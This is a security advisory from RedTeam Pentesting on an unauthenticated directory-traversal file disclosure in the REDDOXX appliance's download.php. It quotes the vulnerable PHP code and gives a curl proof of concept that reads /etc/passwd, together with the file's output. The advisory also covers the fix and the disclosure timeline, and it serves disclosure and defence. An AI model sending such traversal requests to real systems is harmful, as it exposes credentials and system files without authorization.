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Unauthenticated Arbitrary File Disclosure in REDDOXX Appliance

RedTeam Pentesting discovered an arbitrary file disclosure vulnerability in the REDDOXX appliance software, which allows unauthenticated attackers to download arbitrary files from the affected system.

Details

  • Product: REDDOXX Appliance
  • Affected Versions: Build 2032 / v2.0.625, older versions likely affected too
  • Fixed Versions: Version 2032 SP2
  • Vulnerability Type: Arbitrary File Disclosure
  • Security Risk: high
  • Vendor URL: https://www.reddoxx.com/
  • Vendor Status: patch available
  • Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-004
  • Advisory Status: published
  • CVE: GENERIC-MAP-NOMATCH
  • CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH

Introduction

“REDDOXX is a leading supplier of solutions for e-mail archiving, encrypted and digitally signed e-mail traffic as well as spam protection. Our focus is on technological innovation: taking our cue from our clients’ requirements our competent and quality-conscious employees strive to offer you the best possible products at all times. Using stringent quality standards and proven processes we keep developing our company and products continuously, with the goal of continuous improvement.”

(from the vendor’s homepage)

More Details

The REDDOXX appliance (https://www.reddoxx.com/en/) contains a PHP script called download.php. It is available at http://www.example.com/download.php in normal installations and resides at /opt/reddoxx/local/htdocs/download.php in the local filesystem of the appliance. Through the ISO provided on the vendor’s homepage (https://my.reddoxx.com/documents/manual/en/custdl/product-downloads), it was possible to analyze this file and any other file in a typical REDDOXX appliance installation.

The file contains the following source code (shortened to relevant sections):

<?php
 [...]

 // For MD 2.0
 $fileName = $_GET['file'];

 [...]

 // For MD 2.0
 if ($fileName <> '') {
   $file = $fileName;
   $fileID = basename($fileName);
 }

 // Currently we only allow downloads from session directories
 if ((strpos($file, '/opt/reddoxx/wi/Sessions/') === false) &&
     (strpos($file, '/opt/reddoxx/data/temp/Sessions/') === false)) {
     die('File is not in session directory: ' . $file);
 }

 if(!file_exists($file))
 {
     [...]
 }
 else
 {
     // Set headers
     header('Pragma: public');
     header('Expires: 0');
     header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
     header('Cache-Control: private' ,false);

     header('Content-Description: File Transfer');
     header('Content-Disposition: attachment; filename="' . $fileID. '"');
     header('Content-Type: application/octet-stream');
     header('Content-Transfer-Encoding: binary');
     header('Content-Length: ' . filesize($file));

     // Read the file from disk
     readfile($file);
 }
?>

The script expects a URL parameter called “file” and stores its value in the variable $fileName. The value of this variable is then copied to the variable $file, which undergoes two different checks: First, the function strpos() is used to check whether a certain substring is contained in the value of the variable. The second check used the function file_exists() to determine whether the file specified in the variable is present in the filesystem.

In order to circumvent the first check, a path such as

/opt/reddoxx/data/temp/Sessions/../../../../../etc/passwd

can be specified, as there are no protections against directory traversal in place. This path also passes the second check imposed by the function file_exists(). Having bypassed both checks, attackers are now able to reach the readfile() function and download arbitrary files.

Since no authentication checks are in place, the disclosure of arbitrary files if also possible for unauthenticated attackers.

The same functionality is vulnerable to a cross-site scripting vulnerability as described in rt-sa-2017-003 (https://www.redteam-pentesting.de/advisories/rt-sa-2017-003).

Proof of Concept

The following curl command-line can be used to trigger the vulnerability:

$ curl --silent 'http://www.example.com/download.php?file='\
'/opt/reddoxx/data/temp/Sessions/../../../../../etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
vboxadd:x:999:1::/var/run/vboxadd:/bin/false
statd:x:104:65534::/var/lib/nfs:/bin/false
admin:x:0:0:admin,,,:/home/admin:/opt/reddoxx/local/scripts/admin.sh
clamav:x:105:111::/var/lib/clamav:/bin/false
ntp:x:106:112::/home/ntp:/bin/false
hacluster:x:107:113:Heartbeat System Account,,,:/usr/lib/heartbeat:/bin/false
firebird:x:108:114:Firebird Database Administator,,,:/var/lib/firebird:/bin/bash
redis:x:109:115:redis server,,,:/var/lib/redis:/bin/false
snmp:x:110:116::/var/lib/snmp:/bin/false
bind:x:111:117::/var/cache/bind:/bin/false
smbadmin:x:1001:1001::/home/smbadmin:/bin/false
smbuser:x:1002:1002::/home/smbuser:/bin/false

Workaround

None

Fix

Update the appliance software to Version 2032 SP2.

Security Risk

This vulnerability can be used by attackers to download arbitrary files if the filename and path is known from filesystems reachable on the appliance. Depending on the configuration of the appliance, attackers can read the credentials stored in the configuration files or extract session IDs from log files. There are also no authentication checks in place. Therefore, the vulnerability poses a high risk.

Timeline

  • 2017-05-16 Vulnerability identified
  • 2017-05-23 Customer approved disclosure of vulnerability
  • 2017-05-26 Customer provided details of vulnerability to vendor
  • 2017-06-21 Vulnerability reported as fixed by vendor
  • 2017-07-24 Advisory released

RedTeam Pentesting GmbH

RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories.

More information about RedTeam Pentesting can be found at: https://www.redteam-pentesting.de/

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RedTeam Pentesting GmbH is looking for more penetration testers to join our team. If you are interested in working for RedTeam Pentesting in Aachen, please visit the respective section of our website.